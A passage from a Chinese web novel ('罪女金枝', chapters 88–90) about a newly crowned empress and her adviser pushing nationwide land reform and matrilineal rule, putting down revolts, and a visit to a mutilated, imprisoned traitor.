“三年后,送往京中,由尚服局连络织成,评定优劣,技艺佳者,入朝为奉,一为招贤,一为励工。” “母亲生就子身,其恩难偿,朕过往以季氏为姓,是为偿父之恩。” “今母亲离世,山河齐悲,朕心哀恸,特改易母姓,偿还母恩。” “人生于世,孰不承母情?” “岭南庶人,虽谋害于朕,但朕不念旧恶,改易其为郦姓,允其为母设祭。” “叛军可恶,致母血凋零,朕心大痛。” “召还几位兄长遗孤,改易郦姓,女子敕令和离,承母皇之血。” “今后郦氏子裔,无论女男,皆只可承郦姓母血。” “使她们奉召入京,为先皇共举孝仪!” 88、《罪女金枝》 一屋子的大臣陷入沉默。 作为从郦文鸢手中过渡来的班子,还是有非常多的男臣。 他们原本最大的希望,就是改回季氏原来的国号,恢复季氏正统,并将女子重新赶回家去,哪能让女人一直当权! 结果新上位的皇帝,又是个女人,不仅没把国号改回去,连她自己的姓都改了。 郦嗣音这种行为,才真叫司马昭之心,路人皆知。 如此再经过一世,岂不是天下皆食毓禄,季氏江山无痛改朝换代? 底下的人很想反对,但就是他们,其实也吃了半辈子毓禄,这也是他们支持南康王世子,却不支持别的季姓皇族的原因。 他们如今的地位,都是被郦文鸢提拔的,如果反对郦文鸢,他们的东西也没了,当然是让她儿子上位,既不会失去原有的,还会得到新的。 结果南康王那一脉全盘皆输,新上位了一个年轻公主。 她有母亲多少手段尚不能知,但她的年轻是板上钉钉的,可以统治这个帝国很长时间。 季氏就算救了他们命,这么多年“为国尽忠”,也算偿还了,更何况他们这么多年,吃的都是郦文鸢喂的饭。 郦嗣音绝对不符合他们期望,但她上位了,这些人就想观望一下,也许没那么坏呢? 只要有退路,人很难孤注一掷,很多先机,都失在犹犹豫豫。 南康王世子兵变失败,彻底绝了这些人反抗的心思,一犹豫,就推行下去了。 系统大为震惊,你们就这么让她混过去了! 普通百姓受到限制,消息不通,不知道郦嗣音在登州干了什么,你们这些当官的也不知道吗! 她上位了能有你们好果子吃?还不趁现在她根基未稳推翻她啊! 它喊得再用力,这群当官的也一个屁都不敢放。 外面现在正在库库搜叛党,在家里牢骚 句被举报了,也当叛党打,谁活得那么不耐烦了! 叶奚青看着系统气急败坏的样子,忍不住露出一个微笑:“怎么回事啊,不是说女人当政就要造反吗,怎么不造啊?” 系统:…. 之前它经常拿来恐吓叶奚青的话,被叶奚青拿来揶揄,心里火烧一样。 不过不愧是屡败屡战的系统,很快就想到了新话术:“宿主,你先不要得意,这是消息还没传到地方上。” “京中的大官被养得骨头都软了,怕死,不敢反抗,却不是所有人都这样。” “等公主继位,女人持续掌政,改易季氏江山的消息传遍天下,有血性点的男人,肯定都会反抗!” 叶奚青不由咂了一下嘴:“血性?” “你这句话说得真幽默,把前面的话蒙住,还以为他们在反抗什么暴政,什么外敌,这么热血沸腾,光明正义,揭开一看,原来反对的是女人。”“有时候真不知道女人到底是男人的创生者,还是他们的仇敌,怎么能有一个种族,把打压诞育自己的种族当成正义,光明正大喊了几千年。”“哦,我忘了,他们抵御外敌都没有这种血性,他们是允许外族统治自己的,他们只是接受不了女人当政。”“系统,你不是纯正的古人,你甚至不是人,你没觉得这很幽默吗?” 系统: 它又被叶奚青噎了个哑口无言,咬牙了半天才道“宿主,我和你谈现实,你就跟我谈道德,这样谈下去有什么意义,已经造成这种现实了,你需要面对的就是现实!”“男人就是死活不允许女人掌政,就是把女人当仇敌,你又能怎么办,去跟他们说大道理,让他们愧疚?” “别天真了!” 叶奚青:……. 到底谁天真了,不是某统先接受不了现实,跟她谈血性的吗?她有点怀疑这个系统是拿什么喂出来的,脑子有些不好使。 当然也可能不是傻,是恶毒,如果有一个很显眼的道理,对面却一直装傻充愣,假装听不懂,东拉西扯,不用怀疑,不是傻,就是恶毒。对于恶毒的群体,叶奚青一贯不留情:“我当然不会用道理说服他们,我会用驯服奴隶的手段驯服他们,这也是我要推行女尊的原因。““其实母性主宰的社会,不应该如此极端,因为从沉没成本上来说,母亲很难完全不在乎自己孩子的生命。”“但男权很可怕的一点是,他通过发展奴隶制壮大自己,每个生活在其中的人,都养出了一些奴隶性。”“奴隶性可怕的地方在于,你甚至没办法用文明的语言去改正,因为这个思想传染性太强了。”“就是再底层的奴隶,看见奴隶主的美好生活,也会用这个做安慰剂安慰自己,幻想自己也可以成为主人。”“为了这一线成为奴隶主的希望,甚至可以忘记正切实被奴隶制压迫的自己,去自发拥护奴隶制。”“我不知道这种奴隶性到底源自天生,还是后期驯化。”“但奴隶一旦诞生,你就没办法用文明的手段让他们站起来,因为奴隶的思维,已经被驯化到只能听懂奴隶主的语言。”“如果真的只有成为他们的奴隶主,才能使文明的声音传递下去,那我也只能一试。”“为了扭转所有人的奴隶性,我会用奴隶主正常的手段对付他们,你绝不用担心,我只和他们讲道理。”“当文明的声音钉下去那天,奴隶们才有可能意识到,一将功成万骨枯的成就往往不属于他们,母亲严厉又均等的爱,才能惠泽到他们本人身上。” 系统:……系统和朝中大臣,每个人都很忧国忧民,心事重重。民间百姓才不管皇帝姓什么,他们只要实际的好处。旧皇崩逝,新帝登基,新帝下诏,大赦天下,减免赋税。当然了,犯十恶者不赦。 十恶中以妻告夫,以下告上,夫丧改嫁这种事,算不得什么大事,若其情可悯,也不算有罪,移出十恶,予以特赦。 之前的皇帝,很多都有殉葬宫人工匠的习惯,现在文昭皇帝和新帝不使人殉葬,还解散宫中侍女,让侍女携金还乡,并命地方官好生安置,每个人都感念先帝和新帝的大恩。郦嗣音在当公主时,就因为散田之举,饱受民间百姓好评。 现在她的一系列宽悯之政,更让大家觉得她会是一个仁慈的好皇帝。 就连谋反中被割去鼻子,刺配边塞的底层士兵,都很感谢新帝。 先帝已经下令处死他们了,结果新帝没让他们死,只是割了鼻子,真是个大好人啊! 被宽恕的叛将女眷,则更感谢新帝,毕竟谋反这种事,女眷其实也不能逃死,能活下来已经极为感恩了! 京中意外地没起什么风波,叶奚青和郦嗣音也要早做准备。 不是准备地方的人听到女人当政就造反,而是她们真的要全国范围推行登州之法。 虽然很多人一听到女人当皇帝,就嚷嚷着男人肯定要造反。 但历史上真正的女皇帝,活到了八十二岁,那场被大吹特吹的政变,发生在她快死的时候。 万众欢呼,名又正,言又顺,千呼万唤始出来的下一任宝贝男帝,没人在乎他八十二岁时怎么样,因为他七十岁的时候就搞出了安史之乱,干崩大唐,给所有人上了一课。谎言它不伤人,真相才是最快的刀,只要女人当政,全国人民就齐造反,是男人很美好的愿望,但一般不会发生。 若夺了豪强的田地,给下层民众重新分田,那他们还真会反。 之前敢在登州搞这一手,是因为当时的登州只有一个州,在内有公主,在外有皇帝,登州本土氏族,根本反抗不了皇权的暴力倾轧。 别的地方死道友不死贫道,不会替登州本土势力出头。 甚至他们是认可这种倾轧的,豪强的兼并原则就是弱肉强食,大氏族也会吞并小氏族。 你被公主吞了活该,我和公主又不挨着,吞并不到我头上,关我什么事,讨好讨好公主,没准公主还给我好处呢。 公主在登州当一封王,想怎么搞都没人管,但如果她当了皇帝,想全国推广登州之政,那任何人都会警觉,这触及了所有人的利益。 在这种情况下应该怎么办呢? 郦嗣音又要哭了。 自母亲过世后,她每天都要哭好几场,然后趁着国丧消息还没传遍全国的时候,火速吞并了密、莱、青三州。拿到皇帝玉玺,郦嗣音立刻啪啪盖章。 下诏封赵莺莺为登州刺史、冯玉珠为密州刺史,拉克希米为莱州刺史,崔小玉为青州刺史,屠四娘和乌阔真为四州节度使,各节两州,迅速推行登州之法。怎么迅速,你们是见过登州变法的,有罪就杀,没有罪在国丧期间笑出声也算有罪,杀杀杀。 带着登州兵去。 密莱青三州,本来就临近登州,是被郦嗣音登州势力渗透最深的三州。 其中青州虽要远些,但它有内河可通莱州湾,登州的海贸最为发达,消费也最大,比邻三州的丝绸、绢帛,都通过登州销往海外,粮食农产,销往密莱登三州。三州一直和登州接触,不可避免接触登州的一切,巫女教广为流传。 虽然其中有很多背离世俗常理的地方,但事实胜于雄辩,如果能过登州人那样的生活,他们愿意接受巫女教的教义! 所以等朝中人得到消息后,三州人已经悲伤地等着分田了,为什么不开心,国丧时期根本不敢笑。 中书省的人震惊地去找丽嗣音:陛下,你不通过中书省就下诏了? 郦嗣音睹物思人,看见母亲的遗物又哭了一场,泪眼蒙胧地抬头:对不起啊,朕刚当皇帝,没有经验。 现在朕即刻通过中书省起诏,登州之法,已经通过实操检验,实乃保境安民之良策,边郡依次推行。 青州一线已经推行完毕,接下来由东向西,由北向南,全国推行,洛京即刻施行,去起草吧。 中书省:嗯? 89、《罪女金枝》中书省这回真的不能不发声了,因为这是一个陛下何故造反的故事。除了真有皇帝授意,密、莱、青三州发生的事,和兵变没有任何区别。你皇帝干这种事,传到天下,那天下人不都以为你反了!郦嗣音不为所动,谁说皇帝就不能造反?早在她当公主的时候,叶奚青就对她谆谆教导,别人说你造反,那是因为你没造反,你真造反,他们就不敢说了。现在好容易当了皇帝,可以合法造反,不造一下算怎么回事。郦嗣音镇定地看着中书省的众人,你们有什么意见?中书省是宰相的班底,帮着皇帝处理国事,权力很大,在新帝上位之时,自然要趁新帝根基末稳,向新帝展示自己的权威。以前就是郦文鸢,也是慢慢将中书省的人,全部替换成自己人,控制住所有朝臣。郦嗣音却只是冷冷抬头:“你们是不是老糊涂了,到底是先有皇帝还是先有中书省,朕的命令还需要你们置喙,不想干别干!”中书省的老头们:.… 这是一个皇帝能说出来的话吗! 让你公主当皇帝已经够容忍你了,你还敢做这么大逆不道的事! 群臣对新帝的第一次激烈抗辩开始了,丽嗣音却还是那句话:不想干别干。 群众星拱月,养尊处优惯了的老头,哪受过这委屈,当即挂印,表示不干了!看你这样胡搞,会把这个国家搞成什么样! 郦嗣音看着不用费力,就收回来的印玺,还有这好事? 指挥身边的芸娘:“将这些印鉴收起来,你给我起诏盖印。” 从公主时便陪伴郦嗣音的赵莺莺和崔小玉,被派到了地方,郦文鸢派来帮她料理公主府产业的芸娘,就成了她新的贴身女婢。 芸娘捧着一堆印鉴,不敢置信:“让奴婢来?” 郦嗣音理所当然道:“当然,你们都是朕身边最贴身的人,要帮着朕分摊国事,以后好好学习一些治国之道,不要让朕失望。” 身边的侍女听此顿时喜出望外,齐齐跪地谢恩。 郦嗣音要起草诏书,层层盖印,身边侍女高兴地你抢一个,我抢一个,没一会儿就完事了。 真不知道辞官这种事能威胁谁,你不想干有的是人干,想干的人她也不一定让干。 不过这些人只帮她起草诏书,宰相的位置,郦嗣音是要留给上官兰翌的。 她不会让中书省的权力一直这么持续下去,但有个能干的宰相,帮她处理纷杂的政事,也很重要。 所以她会同时建个内事班子和外事班子,共同理政。 以芸娘为首的宫婢是她的内事班子,以上官兰翌为首的宰相是她的外事班子,两方相互配合,互相商议,互相监督,由她最终一言而决。 小小宰相,还想对她行使权力?群臣想对皇帝行使权力,要不起兵政变,要不辞职威胁,现在朝中大臣根本没这个能力。 老宰相被毫不犹豫辞退后,和他相好的人立时聚在一起召,咱们明天集体请辞,全部罢工,让政务瘫痪,给新帝一些颜色看看!郦嗣音收到请辞书,看向底下的人:“除了你,还有谁?” 上书请辞的人慷慨激昂道:“满朝都是不能容忍陛下胡闹之人!” 郦嗣音看了他一眼,又看了他背后一眼,空无一人。 沉默一下,指挥芸娘:“那就把他的印拿过来吧。” 被夺印的人缓缓看向背后— 不是……咱们不说好了吗…. 昨天晚上,还跟着他一起慷慨激昂的人,此时默默低下头,不敢看他的眼睛。 工人罢工有用,当官的罢工没用啊! 被同伴涮了一道的大臣,目瞪口呆地看着自己的印被夺走。 郦嗣音身边的每个人都很开心,之前的印太少不够玩,现在又多了呢! 新帝刚上位,就告诉大家她不惯着任何人,要辞赶紧辞,她还有好多人排队等着上位呢,快滚。 洛京的城门口,垂头丧气走了好多大诗人,不知道此行会做出多少脍炙人口的诗,流传后世。 洛京的百姓却顾不上他们,因为他们也要分田了! 还是比照登州的分地流程,立母户,还良籍,重配田。 但京中人口密集,不像边州那样地广人稀,永业田都不一定够分,口分田就更不用说,地法当和别处不同。 所有人还是重新报户,统计人口,均分田地。 有女传家的门户多分点,无女传家的少分点,刚出生的女婴也参与分田,税征比之成人,幼女夭折,婴田予以收回,回归官府流配。 在京中重配田,反而比边州更容易,因为边州多脱离皇帝势力,是地方氏族的天下,京中却完全是皇帝的天下。 京中皇帝要赎买土地,地主根本不敢说二话,直接奉田,毕竟你不让她赎买,她直接抄你家。 官员也是同理,地方官不好收拾,京官好收拾得很。 没过多久,朝中大臣就完成了一批大换血,想当官的太多了。 京中富庶,人口多,人们的文化素质普遍也高。 在登州,一开始去,还很难找到识字的女人,京中却太多了。 不说达官贵人家的大家闺秀、夫人小妾,教坊司里才艺双绝的花魁,就是小门小户的商贾人家,往往也能供出几个识字的女儿。 先发优势就是这样的,登州缺人,识点字就有官做,只考验能力,不考验学识的官位,不识字也没关系,上去现学。 京中可不能那样,京中得竞争,你不会干,有的是人会干。 在郦嗣音的新规定中,所有人都被还良了,所有人也都有离婚的自由,不管是主母还是小妾。 官府对外开放招女官,有才能都可以去考核,那谁不想去啊!谁想伺候臭烘烘的老头啊!上岸了就离婚! 一时间,竞争非常激烈,官位根本不够,郦嗣音就看向还剩的男官,是你们自己体面,还是朕帮你们体面。 按照一般人的惯性思维,京中全是掌控整个天下的大官,应该徐徐图之。 叶奚青和郦嗣音却给大家表演了一个什么叫一步到位。 等上官兰翌扶灵回来,洛京已经变成了第二个登州。 上官兰翌看着全是女性的同僚,啊? 她这个人,还是有点谨慎的,现在公主成了皇帝,不能这么干了吧…. 叶奚青却面无表情的表示,她们进行的不是一场温和的变革,和过去有一点妥协,都会被过去渗透,要变革就翻天覆地的变。 至于她那么爱笑,为什么不笑,国丧时期根本不敢当着外人的面笑,虽然她一向和8嗣音没大没小的,但凡事都得有分寸,人家妈妈刚过世,你笑出来,那像话吗。 上官兰翌:…… 那地方的人发现苗头不对,集体造反怎么办……. 叶奚青继续淡定的表示,造呗。 完成了京城和密莱登青四大州的土改,郦嗣音现在根本不用怕任何人。洛京改革完,洛京人不想她死,密莱登青改革完,密莱登青人不想她死。洛京人民的愿望,保护了她的生命安全,密莱登青人民的愿望,保证了她源源不断的大兵库。至于其它地方的人,你最好给我造反,你不造反我还要花钱赎买你的土地,你造反我直接抄你家!于是三年后,国丧解除,全国人民一片沸腾,欢声笑语,陛下王师已经解放到南康了! 这三年中,不是没发生大事,北方戎胡和西方夷狄,听说大毓的皇帝已死,立刻不讲武德,趁着大毓国丧期就要趁火打劫,南下进攻。 南方的士族,听说郦嗣音要分他们的土地,也招兵买马,打着郦嗣音女人当政,败坏朝纲,诛杀昏君,拥立正统的旗号,结兵造反。 当时三面为敌,所有人都在笑,让你如此胡闹,我们奉你,你才是皇帝,我们不奉你,你什么都不是! 郦嗣音三面楚歌,还要加一个登州海寇蠢蠢欲动,但她向众人展示了什么叫天降神皇,神君大帝! 大毓的边境之祸,最常见的就是北方戎胡,郦嗣音她们在登州时就早做准备,厉兵秣马,常招胡女,为兵为将。 郦嗣音当初夺位带到京中的那位胡将毗伽.乌阔真,就是其中之一。 她身形高大,通胡俗,经过特训筛选,军事素能表现得极为优异,对抗北方戎胡入侵,非常有一手。 屠四娘和拉克希米,又被调到西境边陲,对付西方夷狄,分田抚民。 如果以为太平时期才好分田,那就错了,战争时期恰恰是最好分田的时候。 战乱时什么事情都好发生,空出来的土地,立刻作为奖励,分田励战! 如果是平常的时候,发生战乱,百姓会拖家带口的跑,但听说分田,八十岁的老太太都想提着菜刀上战场。 西陲的民兵,从来没有如此有凝聚力过,打得夷狄一愣一愣的。 本来他们就是看北面的戎胡强势起兵,想来小蹭一下,带兵的都是想蹭军功的夷狄贵族,结果被打了鸡血的雍、凉军民,冲了个稀巴烂。 如此一来,不仅击退了外敌,整改完雍凉二州,贯通陇右道,这里的土地还更适合种棉花,也是让拉克希米来的原因。 按照惯常报户分田,并把奖励的军功田发下去,拉克希米开始组织雍凉的居民,尝试麦棉套种。 若是能顺利发展下去,这里会成为今后的棉花大产地之一,棉花这种优良御寒物品,对大毓来说是极重要的物资,以后物资充足了,还可以用来做月事带。 雍凉登的边患,靠当地百姓的反击热情,基本就已经解决了,宫变时没用到,被移来边境的火器,全招呼在青州边线,兵强马壮的戎胡身上,于是他们也挺不住了。 至于南方的叛乱,真的不想说。 南方的几大世族,见新帝来势汹汹,立时出钱的出钱,出力的出力,支持附近的几支军队造反。 其中最大的一支军队领将一看,乐了,皇帝轮流做,今年到他家了? 被一群手下和世家派来的人一撺掇,就想造反了,旗号就用扶保岭南王登基,虽然他都不认识岭南王。 但人一得意,就容易忘形,他完全没把京中的那个女人皇帝当一回事,已经做梦把她踩在脚下了。 打下个地,就四处烧杀抢掠,绑一群女人以供淫乐。 其中有个名叫麻三姑的,原本是一名绣女,满心欢喜地想给陛下绣龙袍,以为朝奉,没想到突遭横祸。 她平时捻针捻线,却不是个柔顺的性子,近在眼前的期盼,被完全毁掉,心里如何不恨! 她曲意逢迎,假意讨好叛将,然后趁其酒醉之际,偷走他刀,直接剌掉了他的脑袋! 和她一起被掳来的女子,震惊地看着她,麻三姑却双目血红:“他们不把我们当人看,我们何不把他们当鸡杀!” “陛下王师很快就会来平叛,他们嚣张不了太久,我们杀出去,等陛下王师驾临,就是咱们杀贼有功!” 被掳来的女子本来就六神无主,听她此言,找到主心骨,鼓起勇气,操起一切能拿的武器,提着叛将的头颅,竟是硬生生闯了出去。 麻三姑一边提头示威,一边呐喊:“叛军反对陛下,是陛下要给我等下民分田,你们还要帮着他们造陛下的反,你们有良心吗!” “谁人没有母亲姊妹,被他们得势,也会奸辱你们的母亲姊妹,杀害你们的手足亲人,如此恶鬼之行,苍天都不会护佑!” “你们今日杀了我们,我们一定会化作厉鬼,让你们与我们做伴!” 被集结来的叛军,大多也只是一些流民,混口饭吃罢了,如今主将已死,群龙无首,听她那么说,顿时六神无主,不敢动刀。围观的百姓,对这支喜欢杀伤抢掠的军队,也只有惶恐,没有好感,默默闪出一条街,放她们出城去。这些女子带着叛将的头颅,连卖可怜,带恐吓,夺刀夺马,飞奔而去,直接落草为寇!南方世族刚想谋反,最大的领头人,就被一群女人割了脑袋,几大世族简直想破口大骂!但是再骂也改变不了事实,出师未捷,先群龙无首,叛军士气遭到前所未有打击,王师又已经降临。四面为战,丽郦嗣音还是出了全力,可以用的人都派出去了,来南方平叛的,只剩了叶奚青。叶奚青虽然身体弱,但也不是不能带兵,一群乌合之众,本来就不足为虑,现在其内部大乱,更是一击即溃。等收复被叛贼占据的城池,叶奚青就去接落草为寇的麻三姑她们。奉皇帝诏,任命麻三姑为奉天诛逆大将军,带领王师,讨伐叛逆!麻三姑想过有一天,会凭借自己的绣艺,得到京中陛下的封赏,却没想到真得到封赏,是这种情况。人事无常,谁人能知,眼泪止也止不住流下:“民女谢陛下圣恩!”有了麻三姑的加盟,叶奚青平叛更是顺利。等彻底平乱,看向支持谋反的世家大族,这她得按着族谱杀。 南方气势汹汹的叛乱,没掀起大风波,倒是让完全无辜的岭南庶人,又往南边贬了一点,贬到了崖州。 凡事都要让人试试,有人试过,就知道造反没那么好造,也就老实了。 叛军的下场出来后,赎买土地就可以接受了,欠钱赎买也可以接受…… 治理这种事真烦啊,叶奚青喜欢杀人,却不喜欢搞这些细活,等平完乱,就让郦嗣音派京中人料理后事,她回去了。 最开始向全世界宣战的时候,上官兰翌非常担心。 但等所有事都尘埃落定,上官兰翌才发现当初的决定有多么明智,哪怕是四面作战也没有很难打,打下来却完完全全是她们的天下! 如今整个大毓,已经没多少人敢不把郦嗣音当皇帝了,她有点太恐怖了,比她妈还恐怖。 不管她是要重立田制,还是要推行巫教,改革文字,让女男一同参加科举,都没有任何人质疑她。 素南烟本来一心爱慕表哥,但表哥不知为什么,就是不愿意娶她,年纪大了,不得不嫁给一个根本不喜欢的人。 那个男人对她很好,可终非她心中所爱,在朝廷允许女子科举,且任意和离后,她立刻以专心致仕为理由,和他一刀两断,奔赴京城。 她素有才名,学东西又快,很快融会贯通了简体字,高中头名,被任命为翰林院编修。 和同僚互相寒暄,不禁想起一桩旧事,她表哥当初牵扯进南康王世子谋反那场大案,不知他最后归处如何,若是能偷偷祭奠一杯也好啊。 之前问过姑母表姐,她们总不答,如今问下别人,是否能得知呢? 经过那么多年,曾经的“玉面阎罗裴少卿”,已经没有多少人记得了。 但京中作为事发地,还是有老人知道。 “他啊,他没死啊。” 90、《罪女金枝》 素南烟一愣。 当初那场政变,辐射范围很广,她的姑母和表姐没受牵连,皆赖陛下信奉巫教,对女子宽容,她的表哥怎么可能还活着! 她的同僚却对她说:“确实没有。” “他参与谋乱,本当死罪,兰亭侯却向陛下乞求,宽赦于他。”“兰亭侯素蒙陛下爱重,她有所求,陛下无有不允,便留得他性命,现养在兰亭侯府上。”素南烟被震在原地。本以为今生注定要与表哥天人永隔,却没想到故人竟尚在人世!她悲喜交加,回去后立刻写拜帖,送到兰亭侯府上。只是不知道她一个小小的翰林编修,能不能将帖子递到兰亭侯面前。兰亭侯是大毓人所共知的帝王之师,布衣卿相,等闲人没资格拜会她的案头。焦灼等待了好几日,才得到回音:兰亭侯愿意见她。素南烟大喜过望,沐浴整冠,准备礼物,登门拜访。一别多年,兰亭侯还是和南康时见得差不多,甚至比那时更好。 那时她远行奔波,又要讨贼,又要忍受气候改变,身体本就不足,等到了南康,更是恹恹,素南烟只看她脸色,就知她心情不愉。 如今见她身体大好,精神也不错,素南烟便有了些底气,向她恭维道:“一别多年,关侯容光焕发,想是京中龙气护体,神女庇佑,真是我大毓之福啊!” 叶奚青忍不住笑了一下:“诚赖素大人心念,早在南康时,便知素大人非池中之物,如今果然鱼跃龙门,可喜可贺。” 素南烟同样道谢,两人互相客套,推杯换盏,她想问一下表哥的现状,却又不知如何开口。 叶奚青看她神色,就知她心中所想,微笑道:“我已知素大人来意,不必多言,跟我来吧。” 素南烟惊喜抬头,喜不自胜,连连道谢! 叶奚青在前面走,给她带路,兰亭侯府非常大,曲曲折折,得走好长一段路,才到后宅。 等到了一处独立院落,叶奚青停下脚步,看向素南烟,神色凝重:“我知素大人与罪人裴氏的关系,想知他一些近况。” “只是现在的裴氏,已不像当年,素大人见了,可能徒增伤悲。” 这素南烟哪能退却:“不管如何,见一面也好,知他尚活于世,我也便心安了!” 叶奚青见她坚持,也不再说什么,摇摇头,放她进去。 负责照顾裴氏的两个阉侍,立刻赔小心地将素南烟领进院内。 素南烟在进去前已经做好了无数准备,在见到表哥真容时,还是忍不住扶住门框,大口喘气,不敢相信自己看见了什么! 两位阉侍见她如此,忍不住抹眼泪:“裴氏当年谋逆,本当死罪,我家大人顾念昔日之情,保下他的性命。” “只是死罪可免,活罪难逃,陛下最后还是下令施予肉刑,与逆首一样,剜目、截舌、挖膝。”“这些年大人命我等精心照料,罪人却常存死志,我等费尽九牛二虎之力,才阻止罪人自戕。” “罪人如今这副样子,连大人也不忍心细看,素大人还请保重自身啊!” 素南烟撑着墙柱,一瞬间痛哭失声。 她没想到曾经冠带绝京华的表哥,居然会变成如今这副样子! 她熟悉的声音,激起屋中罪人的记忆,裴钰立刻探寻着去找声音来源,啊啊有语。 素南烟见状,连忙扶住他残败的身体,见他腕间磨损的链痕,想起侍奉之人说的“罪人常存死志”,不由更是痛不欲生,泣不成声。 “表哥……表哥……人死如灯灭,就算再艰难,也要活下去啊!” 裴钰心中大急,他想跟表妹求救,却口不能言,只能使劲攥着她的肩膀摇晃,希望她能明白他的意思!素南烟被他攥的吃痛,也不挣扎,这些许力道算什么,表哥现在一定比她更痛!裴钰一心向她传递信息,素南烟却一味哭泣,裴钰大急,猛捶墙壁,不知怎样才能让表妹知道!侍奉之人见状,连忙扶起素南烟的肩膀:“大人先行离去吧,让罪人见到大人,恐怕又会想起昔日,不想活了呢。”素南烟哭得难以支撑,还是被两人半扶半拽着拉出去,裴钰耳听着最后一丝希望彻底远去,不由号啕大哭。服侍他的人留下一个,冷冷地看着地上挣扎的人。看来还是不老实啊 叶奚青在外等候多时了,素南烟出来时的样子,不出她所料,叹了一口气,将一方巾帕递给她。 “你也不要太过伤心,要是你的身体也哭坏了,该如何是好?” 素南烟知她好意,却怎么也止不住哭声:“谢关侯好意,只是我与罪人裴氏,从小一起长大,见他如此样子,实在情难自禁!”叶奚青拍了拍她的肩膀,理解道:“人之常情,陛下也不会怪罪。” “昔年在下家败蒙难之时,多承素相大恩,如今她别子落难,自然要帮她看顾一二。” “只是素相年事已高,见别子如今之貌,恐不能承受。” “素大人若能代见,再好不过,以后素大人若还想见裴氏,尽管来本侯府上,侯府的大门,永远为素大人敞开。” 素南烟听此,立刻拜谢关侯大恩。 都说兰亭关侯,冷血暴戾,苛酷嗜杀,如今才知,必是逆党污蔑,如此风清月霁之人,杀的又怎么会是不当杀之人! 因为流言,险些让她误解了关侯,素南烟顿时倍感惭愧。 叶奚青又安抚了她一阵,才和蔼可亲地将她送出府门。 送走素南烟后,叶奚青微笑:“啊,这就是恶毒女配啊,终于见面了。” “本来以为是什么青面獠牙的人物,如今一看,好像也不怎么恶毒嘛,对本侯还怪亲切的。“ 系统: 它不想说话! 恶毒女配回去大哭好几场,好容易平复心情,正常工作,退朝后却被郦嗣音单独留下。素南烟忐忑地侍立下首,等着陛下发话,上首之人却一直没有声息。等她冷汗都要滴出来的时候,郦嗣音扔给她一个奏本:“自己看。”素南烟战战兢兢地拾起奏本,等看清折上的内容,不禁冷汗直冒,上面居然是弹劾她在兰亭侯府,为谋逆罪人哭泣的折子!怎会如此啊,她在关侯府上,深宅大院,一时忘情,怎么就被别人知道了,还参奏到陛下面前!素南烟看清的一瞬,立刻跪地请罪,表示自己绝不敢有怨怼之心,也不敢为逆贼鸣不平,关侯也没和她说什么出格的事!郦嗣音没什么表情:“不用多说,这个折子给你了,朕不批不阅,望你好自为之。” 素南烟如蒙大赦,忙跪地谢恩,感谢陛下宽宏大量! 等她走了,叶奚青从里屋出来:“哎呀,又有弹劾小人的折子了。” “真是的,小人都天天窝在家里了,怎么还有人弹呢。” 郦嗣音:…… 你自己弹自己弹挺好啊,还要朕给你批,批个蛋! 等过几天,这个新来的小素大人,估计还得战战兢兢地去叶奚青府上,跟她旁敲侧击,陛下可能对你有芥蒂了,你小心点。 事实上就是她自己写的密告折子!不要以为换个字体她就看不出来了! 叶奚青嘿然一笑:“属下为陛下承担了那么多恶名,陛下为属下承担一件又怎么了?” 郦嗣音冷哼一声,属下就算为皇帝承担再多恶名也是应该,让皇帝帮自己承担恶名的臣子,就叶奚青一个! 一年一年过去,叶奚青是越来越恃宠而骄。郦文鸢过世的三年国丧,是她最老实的时候,这之后急转直下。 当初,先帝给了叶奚青和上官兰翌,一人一个爵位,一为兰亭侯,一为寿张侯。 虽然都是地名封,但很明显上官兰翌名字中有个兰,取兰字,关娴枝看着很短命,取寿字。 叶奚青却表示:不得,她就要叫兰亭侯,寿张侯不好听,也没明确给谁,怎么就知道兰亭侯说的不是她呢? 郦嗣音:…… 上官兰翌: … 那你开心就好吧。 等国丧过,丽嗣音想册封她和上官兰翌,为左右二相,各掌半印。 叶奚青却表示:不得,她只想享福,不想干活,她年纪好像也有点大了,可以退休了。 郦嗣音:…. 我发誓绝对不怀疑你!绝对不狡兔死,走狗烹,你快给我起来干吧! 叶奚青就气息奄奄地看向她:陛下,属下这个身体,怎么操劳国事,您也不想看属下英年早逝吧。 郦嗣音: 我怎么觉得你没事呢? 但是她再生气,叶奚青一副要死不活的样子面对她,她也不能真把她拽起来。 其实郦嗣音平定动乱后,有的是人帮她出主意,已经不那么依赖叶奚青了,她只是不习惯别人。 见叶奚青如此抗拒,也只能作罢,改封她为“荣誉宰相”。 食相禄,配相印,见君不拜,直入宫门,平时政事不需要通过她,但她若有异议,可一票否决,打回中书省和内事阁重审。 这个一票否决权很帅,当然,叶奚青从没使用过就是了。 中书省和内事阁爱咋咋地,她都退休了,还管她们。 叶奚青没有当那个左相,左相就成了上官兰翌,而右相,变成了裴母。 当初丽嗣音上位时,把地方门阀,尤其是南方门阀,按照族谱杀了个遍,但肯定也得有怀柔政策,不能真把世家逼得一点活不下去。 所以世族的女眷,有良好立功表现的,她都宽恕了,当然了,女人本来也不上族谱。 残余的世家,由活下来的女眷重新整顿,她们需要一个代表,裴母素云珠,就这么被推了出来。 裴母连历两次大变,已无力挣扎,拱手谢恩。 她的儿子被送到兰亭侯府上拘禁起来,女儿和夫家和离,带着孩子归家,改回素姓,承嗣她膝下,她也不再想别的,专心为今上做事。如此朝廷机构完善,也不需要叶奚青操什么心,她的母亲也从登州升了上来了。 因为在基层的丰富工作经验,王丽君被调到户部任尚书一职,原来的县官,由窈娘担任。 王丽君和女儿见面时,脸上异常有光。 怎么样,妈妈不赖吧! 叶奚青对她伸出大拇指,真不赖。 家中人来了,当然得别开府邸,叶奚青身上有爵位,郦嗣音就允许她别开侯府,又将她的爵禄,提升到一千户,比同郡王。 叶奚青却表示,那也大兴土木,劳民伤财了,能不能将您当公主时的公主府给小人啊。 郦嗣音: 我的府邸给你了,我住哪啊! 叶奚青:您住皇宫啊。 郦嗣音:那太子以后住哪! 叶奚青:您哥哥的府邸不空着呢吗,给太子。 她还没出生,不挑住处,属下不一样啊,属下住公主府都习惯了,您让属下出去,也太残忍了吧。 郦嗣音:…… 她对自己的后侍都没那么容忍,但对叶奚青总提不起脾气。 所以公主府赐臣子那种事发生了,当然不是世袭,郦嗣音给关母别建了一个府邸,作为世袭之府,叶奚青自己在公主府特住,这也是她府邸那么大的原因。 南康王府,郦嗣音赏给了柳氏的母姐居住。 当初她离登时,怒火中烧,打了柳氏一巴掌。 事后回想起来,每每后悔,便将柳氏接进京中,封为宣起,以为赔罪,又厚赏了他的家人。 宣起是三御之一,也就是未来太子的疑父,柳氏已无育子之能,本来不能得封。 